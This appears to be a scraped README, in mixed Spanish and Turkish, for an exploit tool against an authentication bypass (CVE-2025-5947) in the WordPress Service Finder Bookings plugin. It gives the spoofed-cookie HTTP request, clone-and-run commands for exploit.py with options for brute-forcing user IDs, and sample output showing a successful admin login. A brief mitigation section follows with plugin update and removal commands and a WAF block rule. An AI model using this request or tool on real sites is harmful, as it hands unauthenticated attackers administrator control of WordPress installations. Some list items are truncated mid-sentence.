
CVE-2025-5947 WordPress Service Finder Bookings ≤ 6.0 Exploit
CVE-2025-5947 WordPress Service Finder Bookings ≤ 6.0 Exploit
Herramienta de exploit para la vulnerabilidad de omisión de autenticación en el plugin de WordPress Service Finder Bookings ≤ 6.0
El plugin Service Finder Bookings de WordPress, en sus versiones 6.0 y anteriores, presenta una vulnerabilidad crítica de omisión de autenticación.
Los atacantes no autenticados pueden:
Hay una validación insuficiente de cookies en la función service_finder_switch_back():
// Güvenli olmayan kod
if(isset($_COOKIE['original_user_id'])) {
$user_id = $_COOKIE['original_user_id'];
wp_set_current_user($user_id);
// Doğrulama yok!
}
GET /wp-admin/admin-ajax.php?action=service_finder_switch_back HTTP/1.1
Host: target.com
Cookie: original_user_id=1
Características del Ataque:
git clone https://github.com/xxconi/CVE-2025-5947.git
cd CVE-2025-5947
pip install -r requirements.txt
python exploit.py -u http://target.com
# Yardım göster
python exploit.py -h
# Admin (ID=1) olarak giriş dene
python exploit.py -u http://target.com
# Belirli kullanıcı ID'si ile
python exploit.py -u http://target.com -i 5
# Brute force (ID 1-10)
python exploit.py -u http://target.com -b 1-10
# SSL doğrulaması olmadan
python exploit.py -u http://target.com --no-ssl-verify
# Özel timeout ile
python exploit.py -u http://target.com -t 30
python exploit.py -u http://wordpress.local
Salida:
============================================================
CVE-2025-5947 Service Finder Bookings Exploit
Authentication Bypass via Cookie Spoofing
============================================================
✅ Service Finder Bookings eklentisi bulundu
🔍 Kullanıcı ID 1 ile giriş denemesi yapılıyor...
📊 HTTP Status: 302
📋 Response Headers:
Location: http://wordpress.local/wp-admin/
Set-Cookie: wordpress_logged_in_abc123=...
✅ BAŞARILI! Admin olarak giriş yapıldı!
📍 Yönlendirme: http://wordpress.local/wp-admin/
python exploit.py -u http://target.com -b 1-20
Salida:
🔄 Brute Force Başlıyor (20 kullanıcı)...
✅ Kullanıcı ID 1: BAŞARILI
❌ Kullanıcı ID 2: Başarısız
✅ Kullanıcı ID 3: BAŞARILI
...
✅ Başarılı Kullanıcılar: [1, 3, 5]
python exploit.py -u https://target.com --no-ssl-verify
Un exploit exitoso incluye los siguientes indicadores:
/wp-admin/ en la cabecera Locationwordpress_logged_in_ en la cabecera Set-CookieEsta herramienta debe utilizarse únicamente para:
El autor no se hace responsable.
Actualización Urgente
# WordPress admin panelinden güncelle
# veya WP-CLI ile
wp plugin update sf-booking
Desactivar el Plugin
wp plugin deactivate sf-booking
Eliminar el Plugin
wp plugin delete sf-booking
Web Application Firewall (WAF)
Block: /wp-admin/admin-ajax.php?action=service_finder_switch_back
Comprobación de Seguridad
Para informar errores o sugerir mejoras:
git checkout -b feature/improvement)git commit -am 'Add improvement')git push origin feature/improvement)Licencia MIT: para más detalles, consulta el archivo LICENSE
Investigador de Seguridad
⭐ ¡Si te resultó útil, dale una estrella!
| Característica | Valor |
|---|
| CVE ID | CVE-2025-5947 |
| Plugin | Service Finder Bookings (sf-booking) |
| Versión Afectada | ≤ 6.0 |
| Gravedad | 🔴 CRÍTICO |
| Puntuación CVSS | 9.8 |
| CWE | CWE-639 (Authorization Bypass) |
| Puntuación EPSS | 0.617 (percentil 98.357) |
| Fecha de Publicación | 2025 |
| Parámetro | Abreviatura | Descripción | Por Defecto |
|---|
--url | -u | URL de destino (obligatorio) | - |
--user-id | -i | ID de usuario | 1 |
--brute-force | -b | Rango de fuerza bruta (1-10) | - |
--no-ssl-verify | - | Deshabilitar verificación SSL | False |
--timeout | -t | Timeout de solicitud (segundos) | 10 |